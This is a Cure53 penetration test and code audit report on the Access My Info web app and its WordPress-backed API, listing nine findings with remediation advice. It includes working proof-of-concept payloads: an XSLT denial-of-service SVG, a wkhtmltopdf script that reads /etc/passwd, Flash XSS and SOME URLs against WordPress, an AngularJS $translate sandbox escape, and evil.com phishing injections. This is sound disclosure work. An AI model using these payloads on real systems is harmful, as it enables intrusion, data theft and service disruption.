Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

Pentest-Report Access My Info 04.2016

Cure53, Dr.-Ing. M. Heiderich, Dipl.Ing. Alex Inführ, Tsang Chi Hong, Giuseppe Trotta

Index

Introduction

"Want to know what your mobile operator or internet provider knows about you? What do they keep on file? Who do they share it with? According to the HK government's Personal Data (Privacy) Ordinance, companies are required to disclose this information to their customers upon request. We can help with that request."

From https://dev.accessmyinfo.org/#/

This report documents the findings of a penetration test and source code audit carried out by the Cure53 security consultants, who were commissioned to test and evaluate the state of security at the Access my Info application (AMI). The assignment involved four members of the Cure53 team and has taken place over an agreed period of eight days in April 2016.

The test has led to a discovery of nine security issues, among which seven were classified as vulnerabilities and further two were considered general weaknesses. Prior to discussing the technical issues in more detail, it has not be noted that the testing approach relied on the Cure53 being granted access to the Access my Info's sources, staging application and deployment scripts. Under the agreed premise, the Cure53 project's scope encompassed tests against the AngularJS website (AMI) and a blog. As it turned out, the latter paradoxically functions as an API that feeds data to the core AMI website. This note on the interrelation between the AMI and the blog is crucial because the sole finding deemed "Critical" due to its pervasive severity and impact (i.e. AMI-01-007), stemmed from an XSS problem found in the WordPress suite. This indicated a further confirmed core security-relevant discrepancy, namely the overall very good state of security of the AMI website on the one hand, and, on the other hand, catastrophic security mistakes found for WordPress.

Scope

- **A development server has been made available**
  - https://dev.accessmyinfo.org
  - https://api.dev.accessmyinfo.org/wp-login.php
- **Sources made available available online**
  - https://github.com/andrewhilts/ami-api
  - https://github.com/andrewhilts/ami-community
  - https://github.com/digitalstewards/ami/tree/amihk

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in a chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *AMI-01-001*) for the purpose of facilitating any future follow-up correspondence.

AMI-01-001 DoS via inline XML Stylesheet in HTML to PDF conversion (*Medium*)

During the code audit against the AMI application it was discovered that a PDF generator tool is being used by the tested project. The */pdf/* endpoint parses user-submitted HTML code to generate a PDF file. This functionality is implemented in a form of the HTML being passed to the *wkhtmltopdf* application.[1] The application makes use of the WebKit browser engine[2] to render the user-controlled HTML. It is in this realm that causing a *Denial of Service* via an SVG image file and inline XSLT was proven possible.

PoC:
```
fs = require("fs")
a = require('wkhtmltopdf');
a('<iframe
src="http://127.0.0.1/dos.svg"></iframe>').pipe(fs.createWriteStream('/tmp/out.p
df'));
```

DenialOfService.svg:
```
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="#stylesheet"?>
<!DOCTYPE responses [
 <!ATTLIST xsl:stylesheet
 id ID #REQUIRED
>
]>
<root>
 <node/>
 <node/>
 <node/>
 <node/>
 <node/>
 <node/>
 <node/>
 <node/>
 <node/>
 <node/>
```

[1] http://wkhtmltopdf.org/
[2] https://en.wikipedia.org/wiki/WebKit

```
 <node/>
 <xsl:stylesheet id="stylesheet" version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<pwnage/>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
 </xsl:template>
 </xsl:stylesheet>
</root>
```

It is highly recommended to avoid the use of *wkhtmltopdf* for the user-controlled HTML. Even with a strong HTML filter, like *DOMPurify*[3], it remained feasible for the attackers to cause the *Denial of Service* issue. Similarly, utilizing *SSRF*[4] to extract server or network information was also an option. When the use of *wkhtmltopdf* cannot be avoided, only a really small subset of HTML elements or a pre-defined and safe HTML template, should be used.

Note: During the test it was discovered that the code path in question is not in active use. However, this ticket has been left as it provides general recommendations.

[3] https://github.com/cure53/DOMPurify
[4] https://www.bishopfox.com/blog/2015/04/vulnerable-by-design-underst...ver-side-request-forgery/

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

AMI-01-002 Overly verbose Error Messages leak internal Info *(Low)*

During the assessment against the AMI web application and the connected APIs it was demonstrated that the API endpoints return overly verbose error messages. These error messages leak local file path information, which could aid an attacker seeking to take advantage of combining it with another vulnerability. It was found that either a broken or an incomplete JSON payload is enough to trigger these error messages.

Example Request:
```
x= new XMLHttpRequest();
x.open("POST","https://api.dev.accessmyinfo.org/notifications/enroll",false);
x.setRequestHeader("Content-Type","application/json");
x.send('{"subscribe": true}')
```

Response:
```
TypeError: Cannot read property &#39;operator&#39; of undefined<br> &nbsp;
&nbsp;at validateRequest (/var/www/ami-
community/controllers/enrollmentController/index.js:13:19)<br> &nbsp; &nbsp;at
fn (/var/www/ami-community/node_modules/async/lib/async.js:746:34)<br> &nbsp;
...
(/var/www/ami-community/node_modules/body-parser/node_modules/raw-
body/index.js:308:7)<br> &nbsp; &nbsp;at emitNone (events.js:80:13)<br> &nbsp;
&nbsp;at IncomingMessage.emit (events.js:179:7)<br> &nbsp; &nbsp;at
endReadableNT (_stream_readable.js:913:12)
```

Example Request:
```
curl -X POST https://api.dev.accessmyinfo.org/notifications/feedback
```

Response:
```
TypeError: Cannot convert undefined or null to object<br> &nbsp; &nbsp;at
Function.keys (native)<br> &nbsp; &nbsp;at submit (/var/www/ami-
community/controllers/feedbackController/index.js:11:14)<br> &nbsp; &nbsp;at
Layer.handle [as handle_request] (/var/www/ami-
community/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at
next (/var/www/ami-
community/node_modules/express/lib/router/route.js:131:13)<br> &nbsp; &nbsp;at
Route.dispatch (/var/www/ami-
community/node_modules/express/lib/router/route.js:112:3)<br> &nbsp;
...
(/var/www/ami-community/node_modules/express/lib/router/index.js:271:10)<br>
&nbsp; &nbsp;at cors (/var/www/ami-
community/node_modules/cors/lib/index.js:178:7)
```

It is recommended to suppress any uncaught exceptions and rather have the detailed output redirected to a log file. This alternative approach allows for logging the error messages thrown for future analysis. At the same time, it but avoids exposing the

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

information to any user running into this or alike situation. Additionally, it prevents any local file paths being leaked to an attacker. It should generally be considered to emit as little internal information about the application as possible, especially in the production mode.

AMI-01-004 HTML Injection on dev.accessmyinfo.org *(Low)*

It was discovered that the action for handling unsubscription of email addresses can lead to almost arbitrary HTML being injected into the page's body via a GET parameter. What is important to note is that during the test no way for injecting JavaScript or otherwise dangerous HTML was discovered. The content of the echoed GET parameter is initially filtered by the AngularJS *$sanitize* directive[5]. While this first level can be bypassed in at least two ways (both working in Google Chrome), subsequent level of protection used by the website, namely the CSP[6] cannot easily be gotten around.

PoC:
https://dev.accessmyinfo.org/#/unsubscribe?email_address=%3Csvg%3E%3Cuse%20xlink:href%3D%22callback.json%23xss%2Ftest.svg%22%3E

Together with other browser security features, the CSP blocks all existing bypasses of the *$sanitize* method by prohibiting the use of external sources for the JavaScript code. One attempt that can be mentioned here was a go at trying to bypass the $sanitize filter using an SVG image. The SVG embeds a *<use>* element[7] that then attempts to fetch a resource from the blog API, which in itself contains another SVG deploying active code. Importantly, this attack was blocked by the browser as the SOP[8] is respected in this scenario. Other bypasses to *$sanitize*, using a combination of Unicode characters in anchors containing JavaScript URIs, were also blocked by the CSP due to the fact that the script occurring inline is also forbidden.

While the feature is so far considered safe, it should nevertheless be considered to completely disallow the HTML use in this context. An attacker could, for instance, inject an error message and a well-visible link that would guide the user to an attack page (i.e. through classic Phishing[9]).

[5] https://docs.angularjs.org/api/ngSanitize/service/$sanitize
[6] https://en.wikipedia.org/wiki/Content_Security_Policy
[7] https://developer.mozilla.org/en-US/docs/Web/SVG/Element/use
[8] https://developer.mozilla.org/en-US/docs/Web/SVG/Element/use
[9] https://en.wikipedia.org/wiki/Phishing

PoC:
https://dev.accessmyinfo.org/#/unsubscribe?email_address=%3Ch1%3E%3Ch1%3E%3Ca%20href%3D%22%2F%2Fevil.com%2F%22%3ECLICK%20HERE%20TO%20PROCEED

By using a text-only format for the displayed email address, a chance for this attack to succeed can be eliminated without any loss with regard to features or user-experience.

AMI-01-005 Missing Cookie Security Flags (*Low*)

The assessment identified a minor problem with the cookies the application is using for language settings in both the website and the WordPress blog-driven API. The cookies are not being applied with any security flags and, therefore, are trivially easy to modify, steal or use for malicious purposes.

It is recommended to set the *httpOnly* flag, the secure flag, and a more specific domain information for each cookie used by the application.[10] This deployment will minimize the attack surface and make sure that cookies can neither get stolen, manipulated, nor used to cause a Denial-of-Service against the targeted users via cookie bombs.

AMI-01-006 SOME on WordPress via Plupload (*High*)

It was found that Plupload, which is used in WordPress, is vulnerable to the *Same-Origin Method Execution* (SOME) attack[11]. Specifically, the SWF file incorrectly sanitizes *FlashVars* which allows arbitrary JS function to be executed. However, it was found that the parameter of the function is restricted to a solely alphanumeric string, making XSS highly unlikely. Still, this problem could be exploited further and rely on using SOME to perform certain other attacks. The most severe results could be *Remote Code Execution*[12] (RCE) through forcing an installation of a malicious plugin.

Technically, SOME enables a capacity to invoke methods from other windows on the same origin. By referencing the *HTMLElement.click()* method of an element, it is possible to simulate a mouse click on the element. When performing the attack, a new window will be popped up and load the affected SWF file. At the same time, the opener will redirect to another page. After the SWF finished loading, the referenced element of the other page will be clicked.

An attack scenario for the aforementioned RCE can be explained through the following sequence of actions:

[10] https://en.wikipedia.org/wiki/HTTP_cookie#Cookie_attributes
[11] https://www.blackhat.com/docs/eu-14/ma...e-Exploiting-A-Callback-For-Same-Origin-Policy-Bypass.pdf
[12] https://en.wikipedia.org/wiki/Arbitrary_code_execution

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

- An attacker sends a link that contains the exploit to an authenticated user
- The user (victim) opens the link
- The exploit opens a new window to the SWF file; meanwhile the other window is loading the plugin page
- The exploit triggers the install button of a malicious plugin
- The plugin is installed and the malicious codes are uploaded on the server accordingly

It is worth noting that automatically popping up a new window is subject to popup blocker (for which a bypass has been discovered and reported in Firefox). Hence, mild user-interaction in the form of a click by the victim is required.

PoC demonstrating alert():
https://api.dev.accessmyinfo.org/wp-includes/js/plupload/plupload.flash.swf?target%g=alert&uid%g=hello&

For AMI, it is recommended to remove the vulnerable Flash files or disable the attacker as well as possible victim-users from being able to access the SWF files directly. This can be achieved by, for example, using a special directive in the server configuration. The directive could ascertain that the SWF files are categorically being delivered with *Content-Disposition* headers[13]. Having done so, one is left with the browser that will refuse to open the SWF files directly and thus thwart the attack. Crucially, the benign functionality of the files will be preserved in this scenario.

Note: The vulnerability was disclosed to the WordPress security team after the find and is now being processed. A fix is to be expected soon.

AMI-01-007 XSS on WordPress via insecure MediaElement (*Critical*)

One of the tests concerned the WordPress blog hosting the API data that is used by the AMI application. A key finding in this realm was a discovery that WordPress is in general plagued by a reflected XSS vulnerability caused by an insecure Flash file. This vulnerability affects all WordPress installations (which failed to implement any non-standard security measures) and is therefore classified as "Critical" in terms of severity and impact.

The impact for the AMI application itself is similar, as this attack would enable an attacker to create a phishing link, send this to an AMP API's user and get access to their username and password in plain text thanks to the presence and availability of an XSS attack. The attacker could then choose from several options that all have detrimental

[13] https://gist.github.com/un33k/7119264

consequences of the AMI. One idea could be to completely disable the AMI website by stopping the blog from functioning, while another could depend on an installation of a rogue WordPress plugin and gaining RCE privileges, and, finally, one could imagine a deployment of malware to anyone using the AMI website with an infected template.

PoC demonstrating execution of *alert(1)*:
https://api.dev.accessmyinfo.org/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunction%g=alert%601%60

As already mentioned above, it is recommended for the AMI to remove the offending Flash files or disable the attacker as well as possible victim-users from being able to access the SWF files directly. This can be achieved by, for example, using a special directive in the server configuration. The directive could ascertain that the SWF files are categorically being delivered with *Content-Disposition* headers[14]. Having done so, one is left with the browser that will refuse to open the SWF files directly and thus thwart the attack. Crucially, the benign functionality of the files will be preserved in this scenario

In a long-term perspective it should be considered to get rid of the WordPress dependency and develop a slim backend for the AMI website instead. WordPress has been plagued by literally hundreds of vulnerabilities in the past, and, furthermore, it constitutes a well-known example for terrible code quality. In addition, it uses a security model for plugins and templates that is very inviting for attackers as it enables a very quick path to full server-takeover and RCE without lots of boundaries in place.

Note: The vulnerability was disclosed to the WordPress security team after the find and is now being processed. A fix is to be expected soon.

AMI-01-008 Local File Access via HTML to PDF conversion *(Info)*

As already mentioned in AMI-01-001, the */pdf* endpoint converts user-controlled HTML code. It was discovered that JavaScript is executed without any restrictions. The rendered HTML is loaded in the local file origin, which allows JavaScript to read files from the filesystem via *XMLHttpRequest*[15].

PoC:
```
fs = require("fs")
a = require('wkhtmltopdf');
a("<body><h1 id='test'>aaaaaaaaaaaaaaa</h1><script>x = new XMLHttpRequest()
x.open('GET','file:///etc/passwd',false)
x.send();
```

[14] https://gist.github.com/un33k/7119264
[15] https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest

```
document.getElementById('test').innerHTML= x.responseText

</script>").pipe(fs.createWriteStream('/tmp/out.pdf'));
```

The vulnerability attests to how dangerous *wkhtmltopdf* can become as soon as user-controlled HTML is used. The recommendations in issue AMI-01-001 should be taken into consideration to protect against this attack vector as well.

Note: During the test it was discovered that the code path in question is not in active use. However, this ticket has been left as it provides general recommendations

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

AMI-01-003 No validation for language cookies leverages Attacks *(Low)*

The cookie value that is being used by the application to fetch a language file later used by the *$translate* module[16] is not being sanitized properly. This allows an attacker who has access to the application's cookies (via e.g. XSS on a subdomain, as evidenced in other tickets in this report) to force the application to fetch language files from the locations different than those expected. This is done by a simple path traversal characters' utilization.

Note that an attacker can, for example, abuse the aforementioned XSS on a subdomain to set the cookies for the website domain. This test revealed numerous XSS on the WordPress-fueled API website, which means that setting this cookie from the outside is both feasible and very practical.

Example Attack:

- Set *languageCode* Cookie to *"en/../../../../hello*"
- Reload page
- Witness application loading files from "*translations/locale-en/../../../../hello.json*"
- This will translate to "*https://dev.accessmyinfo.org/hello.json*"

[16] https://angular-translate.github.io/

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

It needs to be pointed out that during the tests no possibility was found to trick the browser into loading an external CORS-enabled resource.[17] It was neither possible to influence an existing file on the same domain to return valid JSON that could be used as

a malicious replacement for the default translation files. If the attacker would somehow manage to gain such possibility, however, an XSS vulnerability would be the consequence. This stems from the fact that the *$translate* directive allows to evaluate embedded AngularJS expressions nested inside the translation strings.

In sum, it is consequently recommended to validate the parameter prior to using it. This would help to make sure that it can only contain alphanumerical characters and cannot exceed a certain length that should be further specified (e.g. a maximum two-character length, for instance).

An example of an attack against the AngularJS *$translate* looks as follows:

```
<!DOCTYPE html>
<html ng-app="myApp">
  <head>
       <script src="https://code.angularjs.org/1.4.8/angular.js"></script>
       <script src="https://cdn.rawgit.com/angular-translate/
              bower-angular-translate/2.9.0/angular-translate.js"></script>
       <script>
       var app = angular.module("myApp",['pascalprecht.translate']);
       app.config(["$translateProvider",function($translateProvider){}]);
       app.controller("translateController" ,["$scope","$translate",
              function($scope,$translate){}]);
       </script>
  </head>
  <body>
       <div ng-controller="translateController">
       <p>{{ "&#x7b;&#x7b;&apos;a&apos;.constructor.prototype.charAt=[].join;
       \&#x7d;\&#x7d;{{&apos;{{x=alert(1)\\}\\}&apos;|translate\}\}"
        | translate }}
       </p>
       </div>
  </body>
</html>
```

[17] https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

AMI-01-009 Persistent XSS in AMI CMS by design *(Info)*

It was discovered that the Wordpress plugin AMI CMS uses WordPress post objects to publish resources. This applies to resources like *Jurisdictions*, *Operators*, *Identifiers*, etc.. During the test a user was created for the Cure53 to be able to determine whether this feature is implemented securely. Further, it sought to investigate if vulnerabilities can be exploited by a malicious editor. At the result, it was shown that the chosen privilege context for an editor is not well-chosen and a user tasked with maintaining the API objects should be applied with significantly lower set of privileges.

In accordance with the WordPress Core Contributor Handbook document, the following applies to users with specifically high-privileged roles[18]:

> *"Users with Administrator or Editor roles are allowed to publish unfiltered HTML in post titles, post content, and comments. WordPress is, after all, a publishing tool, and people need to be able to include whatever markup they need to communicate. Users with lesser privileges are not allowed to post unfiltered content."*

Therefore, a malicious user with the role of Administrator or Editor is, by design, permitted to publish malicious content (i.e. XSS via active HTML). It must be noted that the web application, located at *dev.accessmyinfo.org*, additionally retrieves the *Data Operators* from the AMI CMS. Thus, in addition to the WordPress application, the malicious input could impact the main website as follows:

- From the AMI CMS backend (located at: https://api.dev.accessmyinfo.org/wp-admin/edit.php?post_type=operator), add a new *Data Operator* named: `<h1><a href="//evil.com/">CLICK HERE TO PROCEED`
- Assign a *Jurisdiction*, a *Service* and an *Operator Industry*
- Publish
- Visit the web application and select the created operator
- Click the malicious link to be redirect to *evil.com.*

As reported in the AMI-01-004, this weakness can be only exploited by injecting HTML and not JavaScript since the AngularJS *$sanitize* directive protects against greater damage being caused. A clear recommendation is to only create very low-privileged user-accounts for maintaining the API data, as well as creating new objects used and processed by the AMI website. As soon as a user has an elevated level of privileges, he or she can attack the WordPress blog and either use XSS to phish an admin account and gain RCE, or disrupt the service in a plethora of other ways.

[18] https://make.wordpress.org/core/handbook/testing/report...some-users-allowed-to-post-unfiltered-html

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

Conclusion

The results of this penetration test and source code audit, conducted by the Cure53 team in April 2016 against the AMI and its connected WordPress blog, have revealed 9 security issues that need to be addressed in the hopes of making the Access My Info project even safer and more robust.

In the concluding remarks, Cure53 finds it important to reiterate that a generally high level of awareness and excellent development choices could be observed with regard to security on the part of the AMI application. Mostly low-ranking issues and minor flaws could be found in the AMI and there is little doubt about this side of the process. However, the use of WordPress has resulted in the problems that affect the overall result of this assignment in a negative way, especially when one takes a look at the critical XSS vulnerability described in AMI-01-007. In effect, the maintainers of the core application must now rely on the WordPress third-party fixes to be deployed, rather than simply being able to boast about the excellent state of security that has been found to characterize the AMI tool itself.

Cure53 would like to thank Andrew Hilts for his excellent project coordination, support and assistance, both before and during this assignment. We would like to further express our gratitude to the Open Technology Fund in Washington D.C., USA, for generously funding this and other penetration test projects and enabling us to publish the results.